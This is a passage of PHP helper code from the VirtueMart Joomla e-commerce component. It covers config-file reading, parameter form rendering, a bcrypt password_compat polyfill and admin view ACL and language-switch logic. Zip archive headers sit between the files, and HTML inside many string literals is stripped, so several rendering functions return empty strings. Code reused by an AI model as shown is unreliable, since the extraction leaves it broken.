`#__virtuemart_configs` WHERE `virtuemart_config_id`=1'; $_db->setQuery($qry); $_db->query(); } $qry = "INSERT INTO `#__virtuemart_configs` (`virtuemart_config_id`, `config`) VALUES ('1', '$_value')"; if(!$freshInstall){ $_db->setQuery($qry); if (!$_db->query()) { JError::raiseWarning(1, 'VmConfig::installVMConfig: '.JText::_('COM_VIRTUEMART_SQL_ERROR').' '.$_db->stderr(TRUE)); echo 'VmConfig::installVMConfig: '.JText::_('COM_VIRTUEMART_SQL_ERROR').' '.$_db->stderr(TRUE); die; }else { //vmdebug('Config installed file, store values '.$_value); return TRUE; } } else { return false; } } /** * We should this move out of this file, because it is usually only used one time in a shop life * @author Oscar van Eijk * @author Max Milbers */ static function readConfigFile($returnDangerousTools,$freshInstall = false){ $_datafile = JPATH_VM_ADMINISTRATOR.DS.'virtuemart.cfg'; if (!file_exists($_datafile)) { if (file_exists(JPATH_VM_ADMINISTRATOR.DS.'virtuemart_defaults.cfg-dist')) { if (!class_exists ('JFile')) { require(JPATH_VM_LIBRARIES . DS . 'joomla' . DS . 'filesystem' . DS . 'file.php'); } JFile::copy('virtuemart_defaults.cfg-dist','virtuemart.cfg',JPATH_VM_ADMINISTRATOR); } else { JError::raiseWarning(500, 'The data file with the default configuration could not be found. You must configure the shop manually.'); return FALSE; } } else { vmInfo('Taking config from file'); //vmTrace('read config file, why?',TRUE); } $_section = '[CONFIG]'; $_data = fopen($_datafile, 'r'); $_configData = array(); $_switch = FALSE; while ($_line = fgets ($_data)) { $_line = trim($_line); if (strpos($_line, '#') === 0) { continue; // Commentline } if ($_line == '') { continue; // Empty line } if (strpos($_line, '[') === 0) { // New section, check if it's what we want if (strtoupper($_line) == $_section) { $_switch = TRUE; // Ok, right section } else { $_switch = FALSE; } continue; } if (!$_switch) { continue; // Outside a section or inside the wrong one. } if (strpos($_line, '=') !== FALSE) { $pair = explode('=',$_line); if(isset($pair[1])){ if(strpos($pair[1], 'array:') !== FALSE){ $pair[1] = substr($pair[1],6); $pair[1] = explode('|',$pair[1]); } // if($pair[0]!=='offline_message' && $pair[0]!=='dateformat'){ if($pair[0]!=='offline_message'){ $_line = $pair[0].'='.serialize($pair[1]); } else { $_line = $pair[0].'='.base64_encode(serialize($pair[1])); } if(($freshInstall or $returnDangerousTools) && $pair[0] == 'dangeroustools' ){ if($returnDangerousTools){ if ($pair[1] == "0") { return FALSE; } else { return TRUE; } } if($freshInstall){ vmdebug('$freshInstall'); $pair[1]="1"; $_line = $pair[0].'='.serialize($pair[1]); } vmdebug('dangeroustools '.$pair[1]); } } else { $_line = $pair[0].'='; } $_configData[] = $_line; } } fclose ($_data); if (!$_configData) { return FALSE; // Nothing to do } else { return $_configData; } } } class vmURI{ static function getCleanUrl ($JURIInstance = 0,$parts = array('scheme', 'user', 'pass', 'host', 'port', 'path', 'query', 'fragment')) { if(!class_exists('JFilterInput')) require (JPATH_VM_LIBRARIES.DS.'joomla'.DS.'filter'.DS.'input.php'); $_filter = JFilterInput::getInstance(array('br', 'i', 'em', 'b', 'strong'), array(), 0, 0, 1); if($JURIInstance===0)$JURIInstance = JURI::getInstance(); return $_filter->clean($JURIInstance->toString($parts)); } } // pure php no closing tag PKB\2ȃHHhelpers/parameterparser.phpnuW+A basename($filename, '.php'), 'fileName' => $filename); } return JHTML::_('select.genericlist', $list, 'file', '', 'file', 'fileName', $preselected); } /** * Function to strip additional / or \ in a path name * @param string The path * @param boolean Add trailing slash */ function vmPathName($p_path, $p_addtrailingslash = true) { $retval = ""; $isWin = (substr(PHP_OS, 0, 3) == 'WIN'); if ($isWin) { $retval = str_replace('/', '\\', $p_path); if ($p_addtrailingslash) { if (substr($retval, -1) != '\\') { $retval .= '\\'; } } // Check if UNC path $unc = substr($retval, 0, 2) == '\\\\' ? 1 : 0; // Remove double \\ $retval = str_replace('\\\\', '\\', $retval); // If UNC path, we have to add one \ in front or everything breaks! if ($unc == 1) { $retval = '\\' . $retval; } } else { $retval = str_replace('\\', '/', $p_path); if ($p_addtrailingslash) { if (substr($retval, -1) != '/') { $retval .= '/'; } } // Check if UNC path $unc = substr($retval, 0, 2) == '//' ? 1 : 0; // Remove double // $retval = str_replace('//', '/', $retval); // If UNC path, we have to add one / in front or everything breaks! if ($unc == 1) { $retval = '/' . $retval; } } return $retval; } /** * Utility function to read the files in a directory * @param string The file system path * @param string A filter for the names * @param boolean Recurse search into sub-directories * @param boolean True if to prepend the full path to the file name */ function vmReadDirectory($path, $filter='.', $recurse=false, $fullpath=false) { $arr = array(); if (!@is_dir($path)) { return $arr; } $handle = opendir($path); while ($file = readdir($handle)) { $dir = self::vmPathName($path . '/' . $file, false); $isDir = is_dir($dir); if (($file != ".") && ($file != "..")) { if (preg_match("/$filter/", $file)) { if ($fullpath) { $arr[] = trim(self::vmPathName($path . '/' . $file, false)); } else { $arr[] = trim($file); } } if ($recurse && $isDir) { $arr2 = self::vmReadDirectory($dir, $filter, $recurse, $fullpath); $arr = array_merge($arr, $arr2); } } } closedir($handle); asort($arr); return $arr; } } if(!class_exists('JParameter')) require(JPATH_VM_LIBRARIES.DS.'joomla'.DS.'html'.DS.'parameter.php' ); class vmParameters extends JParameter { // /** @var string Path to the xml setup file */ var $_path = null; // /** @var string The type of setup file */ var $_type = null; var $_group = '_default'; /** * Constructor * * @access protected * @param string The raw parms text * @param string payment_element payment element name * @since 1.5 */ function __construct($data, $element = '', $type='component', $pluginfolder ) { $lang = JFactory::getLanguage(); $lang->load('plg_'.$pluginfolder.'_' . $element,JPATH_ADMINISTRATOR); if (JVM_VERSION === 2) { $path = JPATH_PLUGINS . DS . $pluginfolder . DS . basename($element). DS . basename($element) . '.xml'; } else { $path = JPATH_PLUGINS . DS . $pluginfolder . DS . basename($element) . '.xml'; } parent::__construct($element, $path); $this->_type = $type; if (JVM_VERSION === 2) { } else { } // $this->_raw = $data; $this->bind($data); } /** * render * * @access public * @param string The name of the control, or the default text area if a setup file is not found * @return string HTML * @author Valérie Cartan Isaksen */ function render($name = 'params', $group = '_default') { // vmdebug('render',$this); // if (JVM_VERSION === 2) { $parameters = $this->vmRender($name, $group); // } else { // $parameters = parent::render($name, $group); // } return $parameters; } /** * Render all parameters copied from Joomla 1.5 * * @access public * @param string The name of the control, or the default text area if a setup file is not found * @return array Aarray of all parameters, each as array Any array of the label, the form element and the tooltip * @since 1.5 */ function getParam(&$node, $control_name = 'params', $group = '_default') { //get the type of the parameter $type = $node->attributes('type'); //remove any occurance of a mos_ prefix $type = str_replace('mos_', '', $type); $element = $this->loadElement($type); // error happened if ($element === false) { $result = array(); $result[0] = $node->attributes('name'); $result[1] = JText::_('Element not defined for type').' = '.$type; $result[5] = $result[0]; return $result; } //get value $value = $this->get($node->attributes('name'), $node->attributes('default'), $group); return $element->render($node, $value, $control_name); } function getParamByName($name){ return $this->$name; } /** * vmRender copied from Joomla 1.5 * * @access public * @param string The name of the control, or the default text area if a setup file is not found * @return string HTML * @author Joomla 1.5 */ function vmRender($name = 'params', $group = '_default') { if (!isset($this->_xml[$group])) { return false; } $params = $this->getParams($name, $group); // vmdebug('vmRender',$params); $html = array (); $html[] = ''; if ($description = $this->_xml[$group]->attributes('description')) { // add the params description to the display $desc = JText::_($description); $html[] = ''; } foreach ($params as $param) { $html[] = ''; if ($param[0]) { $html[] = ''; $html[] = ''; } else { $html[] = ''; } $html[] = ''; } if (count($params) < 1) { $html[] = ""; } $html[] = '
'.$desc.'
'.$param[0].''.$param[1].''.$param[1].'
".JText::_('There are no Parameters for this item')."
'; return implode("\n", $html); } /** * * @author Sören, Max Milbers * @param object A param tag node * @param string The control name * @return array Any array of the label, the form element and the tooltip */ function renderParam(&$param, $control_name='params') { $result = array(); $name = $param->attributes('name'); $type = $param->attributes('type'); if ($param->attributes('label') != '') { $label = JText::_($param->attributes('label')); } else { $label = ''; } if ($param->attributes('description')) { $description = JText::_($param->attributes('description')); } else { //$description = JText::_('COM_VIRTUEMART_NO_DESCRIPTION_FOUND'); } $result[0] = $label ? $label : $name; if ($type == 'spacer' || $type == 'checkbox') { $result[0] = ' '; } else { // $result[0] = JHTML::tooltip( addslashes( $description ), addslashes( $result[0] ), '', '', $result[0], '#', 0 ); //$result[0] = $description; } if (in_array('_form_' . $type, $this->_methods)) { $control_name = ''; $value = $this->get($name); // $value = $this->get($param->attributes('name'), $param->attributes('default')); $result[1] = call_user_func(array($this, '_form_' . $type), $name, $value, $param, $control_name, $label); } else { $result[1] = _HANDLER . ' = ' . $type; } if ($description) { $result[2] = JHTML::tooltip($description, $result[0], '', $result[0]); //$result[2] = JHTML::tooltip( $description); // $result[2] = $description; } else { $result[2] = ''; } return $result; } /** * @param string The name of the form element * @param string The value of the element * @param object The xml element for the parameter * @param string The control name * @return string The html for the element */ function _form_text($name, $value, &$node, $control_name) { $size = $node->attributes('size'); if ((int) $size == 0) { $size = 25; } return ''; } /** * @param string The name of the form element * @param string The value of the element * @param object The xml element for the parameter * @param string The control name * @return string The html for the element */ function _form_password($name, $value, &$node, $control_name) { $size = $node->attributes('size'); if ((int) $size == 0) { $size = 25; } return ''; } /** * @param string The name of the form element * @param string The value of the element * @param object The xml element for the parameter * @param string The control name * @return string The html for the element */ function _form_checkbox($name, $value, &$node, $control_name, $label='') { $default = $node->attributes('default'); $checked = ''; if ($value == $default) { $checked = ' checked="checked"'; } $id = uniqid($name); return ' '; } /** * @param string The name of the form element * @param string The value of the element * @param object The xml element for the parameter * @param string The control name * @return string The html for the element */ function _form_list($name, $value, &$node, $control_name) { $size = $node->attributes('size'); $multiselect = $node->attributes('multiselect'); if ($multiselect) { $multiselect = 'multiple="multiple"'; $size = 5; $name .= ']['; // well, if it's multi-select, this must be an array, right? if (strstr($value, ',')) { $value = explode(',', $value); } } if ($size == 0) $size = 1; $options = array(); foreach ($node->_children as $option) { $val = $option->attributes('value'); $text = trim($option->data()); $options[$val] = JText::_($text); } return VmHTML::selectList($control_name . '[' . $name . ']', $value, $options, $size, $multiselect); } /** * @param string The name of the form element * @param string The value of the element * @param object The xml element for the parameter * @param string The control name * @return string The html for the element */ function _form_radio($name, $value, &$node, $control_name) { $options = array(); foreach ($node->_children as $option) { $val = $option->attributes('value'); $text = trim($option->data()); $options[$val] = JText::_($text); } return VmHTML::radioList($control_name . '[' . $name . ']', $value, $options); } /** * @param string The name of the form element * @param string The value of the element * @param object The xml element for the parameter * @param string The control name * @return string The html for the element */ function _form_table_data_list($name, $value, &$node, $control_name) { $db = JFactory::getDBO(); $table = $node->attributes('table'); $condition = $node->attributes('sql_condition'); $valuefield = $node->attributes('valuefield'); $textfield = $node->attributes('textfield'); $orderfield = $node->attributes('orderfield'); $sorting = strtoupper($node->attributes('sorting')) == 'DESC' ? 'DESC' : 'ASC'; $multiselect = $node->attributes('multiselect'); $query = "SELECT `" . $db->getEscaped($valuefield) . '`, `' . $db->getEscaped($textfield) . "`" . "\n FROM `" . $db->getEscaped($table) . "`"; if ($condition != '') { $query .= "\n WHERE " . $condition; } if ($orderfield) { $query .= "\n ORDER BY `" . $db->getEscaped($orderfield) . "` " . $sorting; } $db->setQuery($query); $array = $db->loadResultArray(); if ($multiselect == '1') { $multiple = 'multiple="multiple"'; $size = 5; } else { $multiple = ''; $size = 1; } $name = $control_name . '[' . $name . ']'; return VmHTML::selectList($name, $value, $array, $size, $multiple, 'class="inputbox"'); } /** * @param string The name of the form element * @param string The value of the element * @param object The xml element for the parameter * @param string The control name * @return string The html for the element */ // function _form_vm_category( $name, $value, &$node, $control_name ) { // global $database; // // $multiselect = $node->_attributes( 'multiselect' ); // if( $multiselect == '1' ) { // $multiple = true; // $size = 5; // } else { // $multiple = false; // $size = 1; // } // require( CLASSPATH.'ps_product_category.php'); // $ps_product_category = new ps_product_category(); // // ob_start(); // $ps_product_category->list_all(''. $control_name .'['. $name .']', 0, array(), $size, true, $multiple ); // $category_dropdown = ob_get_clean(); // return $category_dropdown; // } /** * @param string The name of the form element * @param string The value of the element * @param object The xml element for the parameter * @param string The control name * @return string The html for the element */ function _form_filelist($name, $value, &$node, $control_name) { // path to images directory $path = JPATH_SITE . $node->attributes('directory'); $filter = $node->attributes('filter'); $files = vmReadDirectory($path, $filter); $options = array(); foreach ($files as $file) { $options[$file] = $file; } if (!$node->attributes('hide_none')) { array_unshift($options, array('-1', '- ' . 'Do Not Use' . ' -')); } if (!$node->attributes('hide_default')) { array_unshift($options, array('', '- ' . 'Use Default' . ' -')); } return VmHTML::selectList('' . $control_name . '[' . $name . ']', $value, $options, 1, '', 'class="inputbox"'); } /** * @param string The name of the form element * @param string The value of the element * @param object The xml element for the parameter * @param string The control name * @return string The html for the element */ function _form_imagelist($name, $value, &$node, $control_name) { $node->addAttribute('filter', '\.png$|\.gif$|\.jpg$|\.bmp$|\.ico$'); return $this->_form_filelist($name, $value, $node, $control_name); } /** * @param string The name of the form element * @param string The value of the element * @param object The xml element for the parameter * @param string The control name * @return string The html for the element */ function _form_textarea($name, $value, &$node, $control_name) { $rows = $node->attributes('rows'); $cols = $node->attributes('cols'); // convert
tags so they are not visible when editing $value = str_replace('
', "\n", $value); return ''; } /** * @param string The name of the form element * @param string The value of the element * @param object The xml element for the parameter * @param string The control name * @return string The html for the element */ function _form_hidden($name, $value, &$node, $control_name) { return ''; } /** * @param string The name of the form element * @param string The value of the element * @param object The xml element for the parameter * @param string The control name * @return string The html for the element */ function _form_spacer($name, $value, &$node, $control_name) { if ($value) { return '

' . JText::_($value) . '

'; } else { return '
'; } } /** * special handling for textarea param */ function textareaHandling(&$txt) { $total = count($txt); for ($i = 0; $i < $total; $i++) { if (strstr($txt[$i], "\n")) { $txt[$i] = str_replace("\n", '
', $txt[$i]); } } $txt = implode("\n", $txt); return $txt; } /** * Element name * * @access protected * @var string */ var $_name = 'SQL'; function _form_sql($name, $value, &$node, $control_name) { $db = JFactory::getDBO(); $db->setQuery($node->attributes('query')); $key = ($node->attributes('key_field') ? $node->attributes('key_field') : 'value'); $val = ($node->attributes('value_field') ? $node->attributes('value_field') : $name); return JHTML::_('select.genericlist', $db->loadObjectList(), '' . $control_name . '[' . $name . ']', 'class="inputbox"', $key, $val, $value, $control_name . $name); } } /** * @param string * @return string */ function vmParseParams($txt) { return vmParameters::parse($txt); } // pure php no closing tag PKB\^''helpers/password_compat.phpnuW+A * @license http://www.opensource.org/licenses/mit-license.html MIT License * @copyright 2012 The Authors */ namespace { if (!defined('PASSWORD_DEFAULT')) { define('PASSWORD_BCRYPT', 1); define('PASSWORD_DEFAULT', PASSWORD_BCRYPT); /** * Hash the password using the specified algorithm * * @param string $password The password to hash * @param int $algo The algorithm to use (Defined by PASSWORD_* constants) * @param array $options The options for the algorithm to use * * @return string|false The hashed password, or false on error. */ function password_hash($password, $algo, array $options = array()) { if (!function_exists('crypt')) { trigger_error("Crypt must be loaded for password_hash to function", E_USER_WARNING); return null; } if (!is_string($password)) { trigger_error("password_hash(): Password must be a string", E_USER_WARNING); return null; } if (!is_int($algo)) { trigger_error("password_hash() expects parameter 2 to be long, " . gettype($algo) . " given", E_USER_WARNING); return null; } $resultLength = 0; switch ($algo) { case PASSWORD_BCRYPT: // Note that this is a C constant, but not exposed to PHP, so we don't define it here. $cost = 10; if (isset($options['cost'])) { $cost = $options['cost']; if ($cost < 4 || $cost > 31) { trigger_error(sprintf("password_hash(): Invalid bcrypt cost parameter specified: %d", $cost), E_USER_WARNING); return null; } } // The length of salt to generate $raw_salt_len = 16; // The length required in the final serialization $required_salt_len = 22; $hash_format = sprintf("$2y$%02d$", $cost); // The expected length of the final crypt() output $resultLength = 60; break; default: trigger_error(sprintf("password_hash(): Unknown password hashing algorithm: %s", $algo), E_USER_WARNING); return null; } $salt_requires_encoding = false; if (isset($options['salt'])) { switch (gettype($options['salt'])) { case 'NULL': case 'boolean': case 'integer': case 'double': case 'string': $salt = (string) $options['salt']; break; case 'object': if (method_exists($options['salt'], '__tostring')) { $salt = (string) $options['salt']; break; } case 'array': case 'resource': default: trigger_error('password_hash(): Non-string salt parameter supplied', E_USER_WARNING); return null; } if (PasswordCompat\binary\_strlen($salt) < $required_salt_len) { trigger_error(sprintf("password_hash(): Provided salt is too short: %d expecting %d", PasswordCompat\binary\_strlen($salt), $required_salt_len), E_USER_WARNING); return null; } elseif (0 == preg_match('#^[a-zA-Z0-9./]+$#D', $salt)) { $salt_requires_encoding = true; } } else { $buffer = ''; $buffer_valid = false; if (function_exists('mcrypt_create_iv') && !defined('PHALANGER')) { $buffer = mcrypt_create_iv($raw_salt_len, MCRYPT_DEV_URANDOM); if ($buffer) { $buffer_valid = true; } } if (!$buffer_valid && function_exists('openssl_random_pseudo_bytes')) { $buffer = openssl_random_pseudo_bytes($raw_salt_len); if ($buffer) { $buffer_valid = true; } } if (!$buffer_valid && @is_readable('/dev/urandom')) { $f = fopen('/dev/urandom', 'r'); $read = PasswordCompat\binary\_strlen($buffer); while ($read < $raw_salt_len) { $buffer .= fread($f, $raw_salt_len - $read); $read = PasswordCompat\binary\_strlen($buffer); } fclose($f); if ($read >= $raw_salt_len) { $buffer_valid = true; } } if (!$buffer_valid || PasswordCompat\binary\_strlen($buffer) < $raw_salt_len) { $bl = PasswordCompat\binary\_strlen($buffer); for ($i = 0; $i < $raw_salt_len; $i++) { if ($i < $bl) { $buffer[$i] = $buffer[$i] ^ chr(mt_rand(0, 255)); } else { $buffer .= chr(mt_rand(0, 255)); } } } $salt = $buffer; $salt_requires_encoding = true; } if ($salt_requires_encoding) { // encode string with the Base64 variant used by crypt $base64_digits = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/'; $bcrypt64_digits = './ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789'; $base64_string = base64_encode($salt); $salt = strtr(rtrim($base64_string, '='), $base64_digits, $bcrypt64_digits); } $salt = PasswordCompat\binary\_substr($salt, 0, $required_salt_len); $hash = $hash_format . $salt; $ret = crypt($password, $hash); if (!is_string($ret) || PasswordCompat\binary\_strlen($ret) != $resultLength) { return false; } return $ret; } /** * Get information about the password hash. Returns an array of the information * that was used to generate the password hash. * * array( * 'algo' => 1, * 'algoName' => 'bcrypt', * 'options' => array( * 'cost' => 10, * ), * ) * * @param string $hash The password hash to extract info from * * @return array The array of information about the hash. */ function password_get_info($hash) { $return = array( 'algo' => 0, 'algoName' => 'unknown', 'options' => array(), ); if (PasswordCompat\binary\_substr($hash, 0, 4) == '$2y$' && PasswordCompat\binary\_strlen($hash) == 60) { $return['algo'] = PASSWORD_BCRYPT; $return['algoName'] = 'bcrypt'; list($cost) = sscanf($hash, "$2y$%d$"); $return['options']['cost'] = $cost; } return $return; } /** * Determine if the password hash needs to be rehashed according to the options provided * * If the answer is true, after validating the password using password_verify, rehash it. * * @param string $hash The hash to test * @param int $algo The algorithm used for new password hashes * @param array $options The options array passed to password_hash * * @return boolean True if the password needs to be rehashed. */ function password_needs_rehash($hash, $algo, array $options = array()) { $info = password_get_info($hash); if ($info['algo'] != $algo) { return true; } switch ($algo) { case PASSWORD_BCRYPT: $cost = isset($options['cost']) ? $options['cost'] : 10; if ($cost != $info['options']['cost']) { return true; } break; } return false; } /** * Verify a password against a hash using a timing attack resistant approach * * @param string $password The password to verify * @param string $hash The hash to verify against * * @return boolean If the password matches the hash */ function password_verify($password, $hash) { if (!function_exists('crypt')) { trigger_error("Crypt must be loaded for password_verify to function", E_USER_WARNING); return false; } $ret = crypt($password, $hash); if (!is_string($ret) || PasswordCompat\binary\_strlen($ret) != PasswordCompat\binary\_strlen($hash) || PasswordCompat\binary\_strlen($ret) <= 13) { return false; } $status = 0; for ($i = 0; $i < PasswordCompat\binary\_strlen($ret); $i++) { $status |= (ord($ret[$i]) ^ ord($hash[$i])); } return $status === 0; } } } namespace PasswordCompat\binary { /** * Count the number of bytes in a string * * We cannot simply use strlen() for this, because it might be overwritten by the mbstring extension. * In this case, strlen() will count the number of *characters* based on the internal encoding. A * sequence of bytes might be regarded as a single multibyte character. * * @param string $binary_string The input string * * @internal * @return int The number of bytes */ function _strlen($binary_string) { if (function_exists('mb_strlen')) { return mb_strlen($binary_string, '8bit'); } return strlen($binary_string); } /** * Get a substring based on byte limits * * @see _strlen() * * @param string $binary_string The input string * @param int $start * @param int $length * * @internal * @return string The substring */ function _substr($binary_string, $start, $length) { if (function_exists('mb_substr')) { return mb_substr($binary_string, $start, $length, '8bit'); } return substr($binary_string, $start, $length); } } PKB\#cIIhelpers/vmview.phpnuW+AcanDo = self::getActions(); } /* * Override the display function to include ACL * Redirect to the control panel when user does not have access */ public function display($tpl = null) { $view = vRequest::getCmd('view', vRequest::getCmd('controller','virtuemart')); if ($view == 'virtuemart' //Virtuemart view is always allowed since this is the page we redirect to in case the user does not have the rights || $view == 'about' //About view always displayed || $this->canDo->get('core.admin')) { //Super administrators always have access parent::display($tpl); return; } //Super administrator always has access if ($this->canDo->get('core.admin')) { parent::display($tpl); return; } if (!$this->canDo->get('vm.'.$view)) { JFactory::getApplication()->redirect( 'index.php?option=com_virtuemart', JText::_('JERROR_ALERTNOAUTHOR'), 'error'); } parent::display($tpl); } /* * Get the ACL actions */ public static function getActions() { $user = JFactory::getUser(); $result = new JObject; //Get the core actions $core_actions = JAccess::getActions('com_virtuemart','component'); foreach ($core_actions as $action) { $result->set($action->name, $user->authorise($action->name, 'com_virtuemart')); } //Get the actions for each section $sections=array('product','category','manufacturer','orders','shop','other'); foreach ($sections as $section) { $section_actions = JAccess::getActions('com_virtuemart',$section); foreach ($section_actions as $action) { $result->set($action->name, $user->authorise($action->name, 'com_virtuemart')); } } return $result; } /* * set all commands and options for BE default.php views * return $list filter_order and */ function addStandardDefaultViewCommands($showNew=true, $showDelete=true, $showHelp=true) { $view = JRequest::getCmd('view', JRequest::getCmd('controller','virtuemart')); JToolBarHelper::divider(); if ($this->canDo->get('core.admin') || $this->canDo->get('vm.'.$view.'.edit.state')) { JToolBarHelper::publishList(); JToolBarHelper::unpublishList(); } if ($this->canDo->get('core.admin') || $this->canDo->get('vm.'.$view.'.edit')) { JToolBarHelper::editListX(); } if ($this->canDo->get('core.admin') || $showNew && $this->canDo->get('vm.'.$view.'.create')) { JToolBarHelper::addNewX(); } if ($this->canDo->get('core.admin') || $showDelete && $this->canDo->get('vm.'.$view.'.delete')) { JToolBarHelper::deleteList(); } self::showHelp ( $showHelp); self::showACLPref($view); } /* * set pagination and filters * return Array() $list( filter_order and dir ) */ function addStandardDefaultViewLists($model, $default_order = 0, $default_dir = 'DESC',$name = 'search') { //This function must be used after the listing // $pagination = $model->getPagination(); // $this->assignRef('pagination', $pagination); /* set list filters */ $option = JRequest::getCmd('option'); $view = JRequest::getCmd('view', JRequest::getCmd('controller','virtuemart')); $app = JFactory::getApplication(); $lists[$name] = $app->getUserStateFromRequest($option . '.' . $view . '.'.$name, $name, '', 'string'); $lists['filter_order'] = $this->getValidFilterOrder($app,$model,$view,$default_order); // if($default_dir===0){ $toTest = $app->getUserStateFromRequest( 'com_virtuemart.'.$view.'.filter_order_Dir', 'filter_order_Dir', $default_dir, 'cmd' ); $lists['filter_order_Dir'] = $model->checkFilterDir($toTest); $this->assignRef('lists', $lists); } function getValidFilterOrder($app,$model,$view,$default_order){ if($default_order===0){ $default_order = $model->getDefaultOrdering(); } $toTest = $app->getUserStateFromRequest( 'com_virtuemart.'.$view.'.filter_order', 'filter_order', $default_order, 'cmd' ); // vmdebug('getValidFilterOrder '.$toTest.' '.$default_order, $model->_validOrderingFieldName); return $model->checkFilterOrder($toTest); } /* * Add simple search to form * @param $searchLabel text to display before searchbox * @param $name lists and id name * ??JText::_('COM_VIRTUEMART_NAME') */ function displayDefaultViewSearch($searchLabel='COM_VIRTUEMART_NAME',$name ='search') { return JText::_('COM_VIRTUEMART_FILTER') . ' ' . JText::_($searchLabel) . ': '; } function addStandardEditViewCommands($id = 0,$object = null) { $view = JRequest::getCmd('view', JRequest::getCmd('controller','virtuemart')); if (JRequest::getCmd('tmpl') =='component' ) { if (!class_exists('JToolBarHelper')) require(JPATH_ADMINISTRATOR.DS.'includes'.DS.'toolbar.php'); } else { // JRequest::setVar('hidemainmenu', true); JToolBarHelper::divider(); if ($this->canDo->get('core.admin') || $this->canDo->get('vm.'.$view.'.edit')) { JToolBarHelper::save(); JToolBarHelper::apply(); } JToolBarHelper::cancel(); self::showHelp(); self::showACLPref($view); } // javascript for cookies setting in case of press "APPLY" $document = JFactory::getDocument(); if (JVM_VERSION===1) { $j = " // " ; } else $j = " // " ; $document->addScriptDeclaration ( $j); // LANGUAGE setting $editView = JRequest::getWord('view',JRequest::getWord('controller','' ) ); $params = JComponentHelper::getParams('com_languages'); //$config =JFactory::getConfig();$config->getValue('language'); $selectedLangue = $params->get('site', 'en-GB'); $lang = strtolower(strtr($selectedLangue,'-','_')); // Get all the published languages defined in Language manager > Content $allLanguages = JLanguageHelper::getLanguages(); foreach ($allLanguages as $jlang) { $languagesByCode[$jlang->lang_code]=$jlang; } // only add if ID and view not null if ($editView and $id and (count(vmconfig::get('active_languages'))>1) ) { if ($editView =='user') $editView ='vendor'; //$params = JComponentHelper::getParams('com_languages'); jimport('joomla.language.helper'); $lang = JRequest::getVar('vmlang', $lang); // list of languages installed in #__extensions (may be more than the ones in the Language manager > Content if the user did not added them) $languages = JLanguageHelper::createLanguageList($selectedLangue, constant('JPATH_SITE'), true); $activeVmLangs = (vmconfig::get('active_languages') ); $flagCss=""; foreach ($languages as $k => &$joomlaLang) { if (!in_array($joomlaLang['value'], $activeVmLangs) ) { unset($languages[$k] ); } else { $key=$joomlaLang['value']; if(!isset($languagesByCode[$key])){ $img = substr($key,0,2);//We try a fallback vmdebug('COM_VIRTUEMART_MISSING_FLAG',$img,$joomlaLang['text']); } else { $img=$languagesByCode[$key]->image; } $image_flag=JPATH_SITE."/media/mod_languages/images/".$img.".gif"; $image_flag_url= JURI::root()."/media/mod_languages/images/".$img.".gif"; if (!file_exists ($image_flag)) { vmerror(JText::sprintf('COM_VIRTUEMART_MISSING_FLAG', $image_flag,$joomlaLang['text'] ) ); } else { $flagCss .="td.flag-".$key.",.flag-".$key."{background: url( ".$image_flag_url.") no-repeat 0 0; padding-left:20px !important;}\n"; } } } JFactory::getDocument()->addStyleDeclaration($flagCss); $langList = JHTML::_('select.genericlist', $languages, 'vmlang', 'class="inputbox"', 'value', 'text', $selectedLangue , 'vmlang'); $this->assignRef('langList',$langList); $this->assignRef('lang',$lang); if ($editView =='product') { $productModel = VmModel::getModel('product'); $childproducts = $productModel->getProductChilds($id) ? $productModel->getProductChilds($id) : ''; } $token = JUtility::getToken(); $j = ' jQuery(function($) { var oldflag = ""; $("select#vmlang").chosen().change(function() { langCode = $(this).find("option:selected").val(); flagClass = "flag-"+langCode; $.getJSON( "index.php?option=com_virtuemart&view=translate&task=paste&format=json&lg="+langCode+"&id='.$id.'&editView='.$editView.'&'.$token.'=1" , function(data) { var items = []; if (data.fields !== "error" ) { if (data.structure == "empty") alert(data.msg); $.each(data.fields , function(key, val) { cible = jQuery("#"+key); if (oldflag !== "") cible.parent().removeClass(oldflag) if (cible.parent().addClass(flagClass).children().hasClass("mce_editable") && data.structure !== "empty" ) tinyMCE.execInstanceCommand(key,"mceSetContent",false,val); else if (data.structure !== "empty") cible.val(val); }); } else alert(data.msg);'; if($editView =='product' && !empty($childproducts)) { foreach($childproducts as $child) { $j .= ' $.getJSON( "index.php?option=com_virtuemart&view=translate&task=paste&format=json&lg="+langCode+"&id='.$child->virtuemart_product_id.'&editView='.$editView.'&'.$token.'=1" , function(data) { cible = jQuery("#child'. $child->virtuemart_product_id .'product_name"); cible.parent().removeClass(oldflag) cible.parent().addClass(flagClass); cible.val(data.fields["product_name"]); jQuery("#child'. $child->virtuemart_product_id .'slug").val(data.fields["slug"]); oldflag = flagClass ; } ) '; } } else $j .= 'oldflag = flagClass ;'; $j .= ' } ) }); })'; $document->addScriptDeclaration ( $j); } else { // $params = JComponentHelper::getParams('com_languages'); // $lang = $params->get('site', 'en-GB'); $jlang = JFactory::getLanguage(); $langs = $jlang->getKnownLanguages(); $defautName = $selectedLangue; $flagImg = $selectedLangue; if(isset($languagesByCode[$selectedLangue])){ $defautName = $langs[$selectedLangue]['name']; $flagImg= JHtml::_('image', 'mod_languages/'. $languagesByCode[$selectedLangue]->image.'.gif', $languagesByCode[$selectedLangue]->title_native, array('title'=> $languagesByCode[$selectedLangue]->title_native), true); } else { vmWarn(vmText::sprintf('COM_VIRTUEMART_MISSING_FLAG',$selectedLangue,$selectedLangue)); } $langList = ''.$flagImg.' '.$defautName.''; $this->assignRef('langList',$langList); $this->assignRef('lang',$lang); } } function SetViewTitle($name ='', $msg ='',$icon ='') { $view = JRequest::getWord('view', JRequest::getWord('controller')); if ($name == '') $name = strtoupper($view); if ($icon == '') $icon = strtolower($view); if (!$task = JRequest::getWord('task')) $task = 'list'; if (!empty($msg)) { $msg = ' ' . $msg . ''; } $viewText = JText::_('COM_VIRTUEMART_' . strtoupper($name)); $taskName = ' [ ' . JText::_('COM_VIRTUEMART_' . $task) . ' ]'; JToolBarHelper::title($viewText . ' ' . $taskName . $msg, 'head vm_' . $icon . '_48'); $this->assignRef('viewName',$viewText); //was $viewName? $app = JFactory::getApplication(); $doc = JFactory::getDocument(); $doc->setTitle($app->getCfg('sitename'). ' - ' .JText::_('JADMINISTRATION').' - '.strip_tags($msg)); } function sort($orderby ,$name=null ){ if (!$name) $name= 'COM_VIRTUEMART_'.strtoupper ($orderby); return JHTML::_('grid.sort' , JText::_($name) , $orderby , $this->lists['filter_order_Dir'] , $this->lists['filter_order']); } public function addStandardHiddenToForm($controller=null, $task=''){ if (!$controller) $controller = JRequest::getCmd('view'); $option = 